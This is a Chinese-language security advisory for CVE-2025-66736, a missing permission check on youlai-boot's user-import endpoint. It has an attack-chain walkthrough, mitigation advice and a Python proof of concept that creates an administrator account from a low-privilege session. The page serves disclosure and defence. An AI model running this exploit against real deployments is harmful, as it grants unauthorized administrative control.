IPBUF安全漏洞报告
English
CVE-2025-66736 CVSS 7.1 高危

CVE-2025-66736 youlai-boot V2.21.1 权限绕过漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-66736
漏洞类型
授权绕过/不正确的访问控制
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
youlai-boot

相关标签

授权绕过访问控制youlai-bootJavaSpring Boot权限检查缺失CVE-2025-66736

漏洞概述

CVE-2025-66736是youlai-boot V2.21.1版本中的一个严重授权绕过漏洞。该漏洞存在于SysUserController.java的importUsers函数中,由于该函数未对当前用户身份进行权限检查,导致低权限的普通用户可以执行用户数据导入操作,将恶意用户数据写入数据库。这一漏洞使得未经授权的用户能够创建管理员账户或其他高权限账户,从而完全绕过系统的身份认证和访问控制机制,对系统机密性、完整性和可用性构成严重威胁。攻击者可通过利用此漏洞获得系统管理权限,进而控制整个应用程序。

技术细节

该漏洞的核心问题在于youlai-boot框架的SysUserController控制器中的importUsers方法缺少权限验证逻辑。在正常的Spring Boot应用程序中,涉及用户管理的高危操作(如批量导入用户)应当要求调用者具备管理员权限或特定的授权角色。然而,importUsers函数直接处理用户导入请求而未调用任何权限检查接口(如@PreAuthorize注解或权限验证方法),导致任何已认证用户(即使是最低权限的普通用户)都能触发该功能。攻击者可通过构造特定的HTTP请求,上传包含管理员账户的用户数据文件(如Excel或CSV格式),系统将直接解析并将这些账户写入数据库,从而获得系统最高权限。修复方案需要在importUsers方法上添加@PreAuthorize注解或实现自定义权限验证逻辑,确保只有具备USER_IMPORT权限的管理员才能执行该操作。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个普通用户账户,该账户仅具备最低权限
STEP 2
步骤2
攻击者构造包含管理员账户信息的用户导入请求payload
STEP 3
步骤3
攻击者向/api/sys/user/import接口发送HTTP POST请求,利用缺少权限检查的importUsers函数
STEP 4
步骤4
系统直接处理导入请求,将攻击者构造的管理员账户写入数据库
STEP 5
步骤5
攻击者使用新创建的管理员账户登录系统,获得完整的管理权限
STEP 6
步骤6
攻击者可通过管理员权限进行数据窃取、部署后门或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66736 PoC - youlai-boot Unauthorized User Import import requests import json target_url = "http://target-server:8080/api/sys/user/import" # Login as regular user to get valid session login_url = "http://target-server:8080/api/auth/login" login_data = { "username": "regular_user", "password": "user_password" } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code == 200: print("[+] Login successful as regular user") # Prepare malicious user data for import # This creates an admin user with username: hacker, password: P@ssw0rd123 import_data = { "username": "hacker", "nickName": "Hacker Account", "email": "[email protected]", "password": "P@ssw0rd123", "roleIds": [1], # Admin role ID "status": 1 } # Send the import request without admin privileges headers = { "Content-Type": "application/json" } exploit_response = session.post(target_url, json=import_data, headers=headers) if exploit_response.status_code == 200: print("[+] VULNERABLE! Admin user created successfully") print("[+] Username: hacker, Password: P@ssw0rd123") else: print("[-] Request failed or patch applied") else: print("[-] Login failed")

影响范围

youlai-boot V2.21.1

防御指南

临时缓解措施
在官方修复版本发布之前,可通过以下措施临时缓解:1) 在Web应用防火墙(WAF)上添加规则,禁止外部访问/api/sys/user/import接口;2) 临时禁用用户导入功能;3) 加强对用户账户的监控,及时发现异常创建的管理员账户;4) 限制普通用户的权限范围,确保即使存在权限绕过漏洞也无法造成严重后果。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表